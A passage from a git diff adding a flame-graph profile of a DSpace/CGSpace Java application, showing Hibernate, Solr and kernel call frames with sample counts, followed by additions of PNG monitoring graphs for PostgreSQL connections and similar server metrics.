+org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (5 samples, 0.40%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::load (3 samples, 0.24%) + + + +__pthread_mutex_lock (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +perf_pmu_enable.part.0 (16 samples, 1.27%) + + + +java/io/SequenceInputStream:::read (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (4 samples, 0.32%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::getPersistenceContext (1 samples, 0.08%) + + + +org/hibernate/loader/criteria/CriteriaLoader:::<init> (8 samples, 0.63%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.08%) + + + +java/lang/String:::<init> (1 samples, 0.08%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::encode (3 samples, 0.24%) + + + +org/hibernate/engine/spi/CascadingAction:::requiresNoCascadeChecking (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection$1:::doWork (1 samples, 0.08%) + + + +org/apache/http/impl/io/AbstractMessageParser:::parse (1 samples, 0.08%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestHeader (1 samples, 0.08%) + + + +org/hibernate/type/AbstractType:::isCollectionType (1 samples, 0.08%) + + + +apic_timer_interrupt (1 samples, 0.08%) + + + +itable stub (2 samples, 0.16%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (3 samples, 0.24%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (8 samples, 0.63%) + + + +schedule (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +flexible_sched_in (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +register_finalizer Runtime1 stub (1 samples, 0.08%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadataFirstValue (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/JdbcCoordinatorImpl:::release (1 samples, 0.08%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +itable stub (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceImpl:::buildDocument (411 samples, 32.62%) +org/dspace/discovery/SolrServiceImpl:::buildDocument + + +__hrtimer_run_queues (1 samples, 0.08%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::listeners (2 samples, 0.16%) + + + +finish_task_switch (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::writeXML (5 samples, 0.40%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getStream (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +perf_pmu_enable.part.0 (48 samples, 3.81%) +perf.. + + +org/hibernate/engine/spi/CascadingAction:::requiresNoCascadeChecking (2 samples, 0.16%) + + + +org/hibernate/loader/Loader:::prepareQueryStatement (1 samples, 0.08%) + + + +update_nohz_stats (1 samples, 0.08%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (682 samples, 54.13%) +org/dspace/core/HibernateDBConnection:::uncacheEntity + + +x86_pmu_enable (4 samples, 0.32%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (10 samples, 0.79%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::getEntityName (1 samples, 0.08%) + + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.08%) + + + +itable stub (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/request/QueryRequest:::process (9 samples, 0.71%) + + + +__ip_finish_output (19 samples, 1.51%) + + + +flexible_sched_in (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::listeners (1 samples, 0.08%) + + + +itable stub (3 samples, 0.24%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (98 samples, 7.78%) +sun/reflec.. + + +finish_task_switch (4 samples, 0.32%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +sun/reflect/UnsafeIntegerFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/loader/AbstractEntityJoinWalker:::initStatementString (3 samples, 0.24%) + + + +JVM_InvokeMethod (1,118 samples, 88.73%) +JVM_InvokeMethod + + +__errno_location (1 samples, 0.08%) + + + +update_blocked_averages (1 samples, 0.08%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.08%) + + + +jshort_disjoint_arraycopy (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (7 samples, 0.56%) + + + +__hrtimer_run_queues (1 samples, 0.08%) + + + +JVM_FillInStackTrace (1 samples, 0.08%) + + + +put_prev_entity (1 samples, 0.08%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (1 samples, 0.08%) + + + +exit_to_usermode_loop (12 samples, 0.95%) + + + +ip_output (19 samples, 1.51%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (3 samples, 0.24%) + + + +itable stub (2 samples, 0.16%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (7 samples, 0.56%) + + + +itable stub (1 samples, 0.08%) + + + +swapgs_restore_regs_and_return_to_usermode (1 samples, 0.08%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (369 samples, 29.29%) +org/hibernate/context/internal/ThreadLocalSess.. + + +sun/reflect/UnsafeQualifiedObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (17 samples, 1.35%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.08%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (1 samples, 0.08%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (24 samples, 1.90%) +o.. + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (2 samples, 0.16%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (2 samples, 0.16%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (90 samples, 7.14%) +org/hiber.. + + +switch_fpu_return (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setCurrentSession (1 samples, 0.08%) + + + +__intel_pmu_enable_all.constprop.0 (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +org/apache/http/impl/io/AbstractMessageWriter:::write (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +scheduler_tick (1 samples, 0.08%) + + + +x86_pmu_enable (12 samples, 0.95%) + + + +[libjvm.so] (26 samples, 2.06%) +[.. + + +org/hibernate/collection/internal/PersistentList:::readFrom (1 samples, 0.08%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::convert (24 samples, 1.90%) +o.. + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/loader/JoinWalker:::selectString (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (11 samples, 0.87%) + + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::resolve (1 samples, 0.08%) + + + +org/dspace/discovery/FullTextContentStreams$FullTextEnumeration:::nextElement (5 samples, 0.40%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (583 samples, 46.27%) +org/dspace/core/HibernateDBConnection:::uncacheEntity + + +slow_subtype_check Runtime1 stub (1 samples, 0.08%) + + + +[unknown] (54 samples, 4.29%) +[unkn.. + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (3 samples, 0.24%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (10 samples, 0.79%) + + + +do_syscall_64 (4 samples, 0.32%) + + + +org/apache/log4j/WriterAppender:::append (1 samples, 0.08%) + + + +org/apache/http/entity/mime/MultipartEntity:::writeTo (10 samples, 0.79%) + + + +org/postgresql/core/PGStream:::receiveTupleV3 (3 samples, 0.24%) + + + +itable stub (18 samples, 1.43%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (16 samples, 1.27%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (1 samples, 0.08%) + + + +sock_def_readable (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (1 samples, 0.08%) + + + +org/hibernate/engine/spi/CollectionEntry:::getOrphans (6 samples, 0.48%) + + + +prepare_exit_to_usermode (1 samples, 0.08%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.08%) + + + +call_stub (1,118 samples, 88.73%) +call_stub + + +org/apache/http/impl/entity/EntitySerializer:::serialize (1 samples, 0.08%) + + + +apic_timer_interrupt (2 samples, 0.16%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.08%) + + + +newidle_balance (1 samples, 0.08%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseHeader (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::wasInitialized (2 samples, 0.16%) + + + +__x64_sys_futex (4 samples, 0.32%) + + + +kmem_cache_alloc_node (2 samples, 0.16%) + + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.08%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.16%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (58 samples, 4.60%) +org/h.. + + +apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/engine/internal/Cascade:::cascade (9 samples, 0.71%) + + + +call_stub (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (4 samples, 0.32%) + + + +java/io/InputStream:::read (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (4 samples, 0.32%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.08%) + + + +tcp_v4_rcv (3 samples, 0.24%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.08%) + + + +java/lang/System:::identityHashCode (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (10 samples, 0.79%) + + + +org/hibernate/engine/internal/Cascade:::cascade (35 samples, 2.78%) +or.. + + +sock_recvmsg (23 samples, 1.83%) +s.. + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::keepAlive (1 samples, 0.08%) + + + +org/hibernate/type/AbstractType:::isCollectionType (1 samples, 0.08%) + + + +eth_type_trans (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +__softirqentry_text_start (17 samples, 1.35%) + + + +org/dspace/content/Item_$$_jvst437_4:::getCollections (2 samples, 0.16%) + + + +clock_gettime@GLIBC_2.2.5 (2 samples, 0.16%) + + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doSendRequest (2 samples, 0.16%) + + + +__local_bh_enable_ip (17 samples, 1.35%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.08%) + + + +acpi_os_read_port (1 samples, 0.08%) + + + +org/apache/http/pool/AbstractConnPool:::getPoolEntryBlocking (1 samples, 0.08%) + + + +perf_swevent_add (1 samples, 0.08%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (1 samples, 0.08%) + + + +sk_stream_alloc_skb (2 samples, 0.16%) + + + +find_busiest_group (1 samples, 0.08%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (1 samples, 0.08%) + + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.08%) + + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::listeners (3 samples, 0.24%) + + + +tick_sched_timer (1 samples, 0.08%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isEntityType (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.08%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (24 samples, 1.90%) +o.. + + +ip_protocol_deliver_rcu (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::hasHolder (1 samples, 0.08%) + + + +org/apache/http/entity/mime/HttpStrictMultipart:::formatMultipartHeader (5 samples, 0.40%) + + + +org/dspace/core/Context:::uncacheEntity (682 samples, 54.13%) +org/dspace/core/Context:::uncacheEntity + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (1 samples, 0.08%) + + + +org/apache/http/protocol/RequestTargetHost:::process (1 samples, 0.08%) + + + +schedule (20 samples, 1.59%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::findNodesForKey (5 samples, 0.40%) + + + +rcu_segcblist_ready_cbs (1 samples, 0.08%) + + + +__sched_text_start (4 samples, 0.32%) + + + +__netif_receive_skb_one_core (15 samples, 1.19%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (9 samples, 0.71%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.08%) + + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.08%) + + + +nf_ct_get_tuple (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +do_futex (4 samples, 0.32%) + + + +org/hibernate/persister/collection/AbstractCollectionPersister:::getElementType (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (7 samples, 0.56%) + + + +acpi_ev_detect_gpe (1 samples, 0.08%) + + + +__sched_text_start (1 samples, 0.08%) + + + +org/hibernate/engine/internal/Cascade:::cascade (26 samples, 2.06%) +o.. + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setCurrentSession (1 samples, 0.08%) + + + +org/apache/http/impl/conn/DefaultHttpResponseParser:::parseHead (1 samples, 0.08%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +java/util/IdentityHashMap:::nextKeyIndex (1 samples, 0.08%) + + + +java/net/SocketTimeoutException:::<init> (1 samples, 0.08%) + + + +org/hibernate/engine/jdbc/internal/StatementPreparerImpl$StatementPreparationTemplate:::prepareStatement (1 samples, 0.08%) + + + +java/io/SequenceInputStream:::nextStream (1 samples, 0.08%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (2 samples, 0.16%) + + + +java/util/HashMap:::resize (1 samples, 0.08%) + + + +perf_event_sched_in (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (1 samples, 0.08%) + + + +java/util/TimSort:::sort (1 samples, 0.08%) + + + +vtable stub (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (6 samples, 0.48%) + + + +java/lang/Throwable:::<init> (1 samples, 0.08%) + + + +org/hibernate/loader/JoinWalker:::mergeOuterJoins (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.08%) + + + +org/hibernate/engine/spi/CollectionEntry:::getOrphans (8 samples, 0.63%) + + + +perf_event_sched_in (1 samples, 0.08%) + + + +entry_SYSCALL_64_after_hwframe (35 samples, 2.78%) +en.. + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (207 samples, 16.43%) +org/hibernate/event/inter.. + + +tcp_recvmsg (23 samples, 1.83%) +t.. + + +[libjvm.so] (1 samples, 0.08%) + + + +java/lang/String:::toLowerCase (1 samples, 0.08%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (2 samples, 0.16%) + + + +tcp_sendmsg (32 samples, 2.54%) +tc.. + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (8 samples, 0.63%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.08%) + + + +deactivate_task (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (23 samples, 1.83%) +o.. + + +org/hibernate/loader/DefaultEntityAliases:::getSuffixedPropertyAliases (2 samples, 0.16%) + + + +sun/reflect/GeneratedMethodAccessor18:::invoke (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::propertySelectFragmentFragment (1 samples, 0.08%) + + + +org/dspace/servicemanager/DSpaceServiceManager:::getServicesByType (4 samples, 0.32%) + + + +org/hibernate/engine/spi/CollectionEntry:::getOrphans (3 samples, 0.24%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (7 samples, 0.56%) + + + +wait_woken (20 samples, 1.59%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (18 samples, 1.43%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (233 samples, 18.49%) +org/hibernate/event/internal.. + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.08%) + + + +org/hibernate/engine/spi/CollectionEntry:::getOrphans (17 samples, 1.35%) + + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +tcp_write_xmit (26 samples, 2.06%) +t.. + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.08%) + + + +tcp_write_xmit (1 samples, 0.08%) + + + +perf_pmu_enable.part.0 (12 samples, 0.95%) + + + +[libjvm.so] (2 samples, 0.16%) + + + +java/net/SocketTimeoutException:::<init> (1 samples, 0.08%) + + + +org/dspace/content/Bundle:::getBitstreams (3 samples, 0.24%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (2 samples, 0.16%) + + + +__update_load_avg_cfs_rq (1 samples, 0.08%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (2 samples, 0.16%) + + + +bbr_cwnd_event (1 samples, 0.08%) + + + +__sys_sendto (33 samples, 2.62%) +__.. + + +java/lang/reflect/Method:::invoke (1,118 samples, 88.73%) +java/lang/reflect/Method:::invoke + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.08%) + + + +acpi_hw_read_port (1 samples, 0.08%) + + + +itable stub (1 samples, 0.08%) + + + +schedule_timeout (20 samples, 1.59%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (6 samples, 0.48%) + + + +java/util/AbstractMap:::get (1 samples, 0.08%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +org/apache/http/entity/mime/MultipartEntity:::isChunked (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isCollectionType (4 samples, 0.32%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +acpi_hw_read (1 samples, 0.08%) + + + +ipt_do_table (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +[[vdso]] (2 samples, 0.16%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (368 samples, 29.21%) +org/hibernate/event/internal/AbstractFlushingE.. + + +prepare_exit_to_usermode (12 samples, 0.95%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +strncpy (4 samples, 0.32%) + + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (1 samples, 0.08%) + + + +org/apache/http/protocol/ImmutableHttpProcessor:::process (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/persister/collection/AbstractCollectionPersister:::readIndex (1 samples, 0.08%) + + + +itable stub (27 samples, 2.14%) +i.. + + +org/hibernate/internal/SessionImpl:::listeners (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getOrphans (9 samples, 0.71%) + + + +__libc_recv (24 samples, 1.90%) +_.. + + +org/apache/http/protocol/RequestContent:::process (1 samples, 0.08%) + + + +update_wall_time (1 samples, 0.08%) + + + +psi_task_change (1 samples, 0.08%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (4 samples, 0.32%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (1 samples, 0.08%) + + + +org/apache/http/impl/client/ClientParamsStack:::getParameter (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (5 samples, 0.40%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (20 samples, 1.59%) + + + +itable stub (5 samples, 0.40%) + + + +org/apache/log4j/AppenderSkeleton:::doAppend (2 samples, 0.16%) + + + +__sched_text_start (20 samples, 1.59%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +java/nio/charset/CharsetEncoder:::encode (3 samples, 0.24%) + + + +tick_sched_handle (1 samples, 0.08%) + + + +JNU_NewObjectByName (1 samples, 0.08%) + + + +update_dl_rq_load_avg (1 samples, 0.08%) + + + +__softirqentry_text_start (2 samples, 0.16%) + + + +__wake_up_sync_key (1 samples, 0.08%) + + + +__hrtimer_run_queues (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (5 samples, 0.40%) + + + +sun/reflect/GeneratedMethodAccessor17:::invoke (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::request (16 samples, 1.27%) + + + +futex_wait_queue_me (50 samples, 3.97%) +fute.. + + +org/hibernate/collection/internal/PersistentList:::toArray (7 samples, 0.56%) + + + +[libjvm.so] (26 samples, 2.06%) +[.. + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::loadCollection (10 samples, 0.79%) + + + +_new_array_Java (1 samples, 0.08%) + + + +apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (7 samples, 0.56%) + + + +org/hibernate/type/descriptor/sql/IntegerTypeDescriptor$2:::doExtract (1 samples, 0.08%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::flush (1 samples, 0.08%) + + + +start_thread (1,144 samples, 90.79%) +start_thread + + +[libjvm.so] (1 samples, 0.08%) + + + +iptable_mangle_hook (1 samples, 0.08%) + + + +schedule (1 samples, 0.08%) + + + +swapgs_restore_regs_and_return_to_usermode (1 samples, 0.08%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (2 samples, 0.16%) + + + +org/apache/log4j/WriterAppender:::append (2 samples, 0.16%) + + + +do_IRQ (1 samples, 0.08%) + + + +org/dspace/storage/bitstore/DSBitStoreService:::get (4 samples, 0.32%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::convert (1 samples, 0.08%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (207 samples, 16.43%) +org/hibernate/context/int.. + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.08%) + + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.08%) + + + +sun/reflect/GeneratedMethodAccessor27:::invoke (1 samples, 0.08%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (1 samples, 0.08%) + + + + diff --git a/docs/2020/03/cgspace-cpu-year.png b/docs/2020/03/cgspace-cpu-year.png new file mode 100644 index 000000000..ea0b09c77 Binary files /dev/null and b/docs/2020/03/cgspace-cpu-year.png differ diff --git a/docs/2020/03/cgspace-heap-year.png b/docs/2020/03/cgspace-heap-year.png new file mode 100644 index 000000000..298984c7a Binary files /dev/null and b/docs/2020/03/cgspace-heap-year.png differ diff --git a/docs/2020/03/cgspace-memory-year.png b/docs/2020/03/cgspace-memory-year.png new file mode 100644 index 000000000..f71ddce2f Binary files /dev/null and b/docs/2020/03/cgspace-memory-year.png differ diff --git a/docs/2020/04/jmx_tomcat_dbpools-day.png b/docs/2020/04/jmx_tomcat_dbpools-day.png new file mode 100644 index 000000000..f6f984356 Binary files /dev/null and b/docs/2020/04/jmx_tomcat_dbpools-day.png differ diff --git a/docs/2020/04/jmx_tomcat_dbpools-month.png b/docs/2020/04/jmx_tomcat_dbpools-month.png new file mode 100644 index 000000000..6b1d8005b Binary files /dev/null and b/docs/2020/04/jmx_tomcat_dbpools-month.png differ diff --git a/docs/2020/04/postgres_connections_cgspace-day.png b/docs/2020/04/postgres_connections_cgspace-day.png new file mode 100644 index 000000000..1106502cf Binary files /dev/null and b/docs/2020/04/postgres_connections_cgspace-day.png differ diff --git a/docs/2020/04/postgres_connections_cgspace-week.png b/docs/2020/04/postgres_connections_cgspace-week.png new file mode 100644 index 000000000..4290c1d54 Binary files /dev/null and b/docs/2020/04/postgres_connections_cgspace-week.png differ diff --git a/docs/2020/05/postgres_connections_cgspace-week.png b/docs/2020/05/postgres_connections_cgspace-week.png new file mode 100644 index 000000000..8f847ed11 Binary files /dev/null and b/docs/2020/05/postgres_connections_cgspace-week.png differ diff --git a/docs/2020/05/postgres_connections_cgspace-week2.png b/docs/2020/05/postgres_connections_cgspace-week2.png new file mode 100644 index 000000000..a9b2abd46 Binary files /dev/null and b/docs/2020/05/postgres_connections_cgspace-week2.png differ diff --git a/docs/2020/06/cgspace-discovery-search.png b/docs/2020/06/cgspace-discovery-search.png new file mode 100644 index 000000000..0e2f0a7ad Binary files /dev/null and b/docs/2020/06/cgspace-discovery-search.png differ diff --git a/docs/2020/06/item-authorizations-dspace58.png b/docs/2020/06/item-authorizations-dspace58.png new file mode 100644 index 000000000..3f92b8018 Binary files /dev/null and b/docs/2020/06/item-authorizations-dspace58.png differ diff --git a/docs/2020/06/item-authorizations-dspace63.png b/docs/2020/06/item-authorizations-dspace63.png new file mode 100644 index 000000000..f02697b66 Binary files /dev/null and b/docs/2020/06/item-authorizations-dspace63.png differ diff --git a/docs/2020/06/localhost-discovery-search.png b/docs/2020/06/localhost-discovery-search.png new file mode 100644 index 000000000..2acfc2fda Binary files /dev/null and b/docs/2020/06/localhost-discovery-search.png differ diff --git a/docs/2020/06/postgres_connections_ALL-day2.png b/docs/2020/06/postgres_connections_ALL-day2.png new file mode 100644 index 000000000..7ecf16653 Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-day2.png differ diff --git a/docs/2020/06/postgres_connections_ALL-day3.png b/docs/2020/06/postgres_connections_ALL-day3.png new file mode 100644 index 000000000..aa4e721b5 Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-day3.png differ diff --git a/docs/2020/06/postgres_connections_ALL-week2.png b/docs/2020/06/postgres_connections_ALL-week2.png new file mode 100644 index 000000000..a88f81dba Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-week2.png differ diff --git a/docs/2020/06/postgres_connections_ALL-week3.png b/docs/2020/06/postgres_connections_ALL-week3.png new file mode 100644 index 000000000..f2f2d9829 Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-week3.png differ diff --git a/docs/2020/06/postgres_connections_ALL-year-dspacetest.png b/docs/2020/06/postgres_connections_ALL-year-dspacetest.png new file mode 100644 index 000000000..4e454a575 Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-year-dspacetest.png differ diff --git a/docs/2020/06/postgres_connections_ALL-year.png b/docs/2020/06/postgres_connections_ALL-year.png new file mode 100644 index 000000000..c1ca7574e Binary files /dev/null and b/docs/2020/06/postgres_connections_ALL-year.png differ diff --git a/docs/2020/06/postgres_locks_ALL-week.png b/docs/2020/06/postgres_locks_ALL-week.png new file mode 100644 index 000000000..7237a1ee6 Binary files /dev/null and b/docs/2020/06/postgres_locks_ALL-week.png differ diff --git a/docs/2020/06/postgres_locks_ALL-year.png b/docs/2020/06/postgres_locks_ALL-year.png new file mode 100644 index 000000000..4323ae0d1 Binary files /dev/null and b/docs/2020/06/postgres_locks_ALL-year.png differ diff --git a/docs/2020/07/altmetrics-dimensions-badges.png b/docs/2020/07/altmetrics-dimensions-badges.png new file mode 100644 index 000000000..0420689c3 Binary files /dev/null and b/docs/2020/07/altmetrics-dimensions-badges.png differ diff --git a/docs/2020/07/cua-font-awesome.png b/docs/2020/07/cua-font-awesome.png new file mode 100644 index 000000000..c3eaf3d82 Binary files /dev/null and b/docs/2020/07/cua-font-awesome.png differ diff --git a/docs/2020/07/dimensions-badge.png b/docs/2020/07/dimensions-badge.png new file mode 100644 index 000000000..cd3bcf73e Binary files /dev/null and b/docs/2020/07/dimensions-badge.png differ diff --git a/docs/2020/07/dimensions-badge2.png b/docs/2020/07/dimensions-badge2.png new file mode 100644 index 000000000..84762343b Binary files /dev/null and 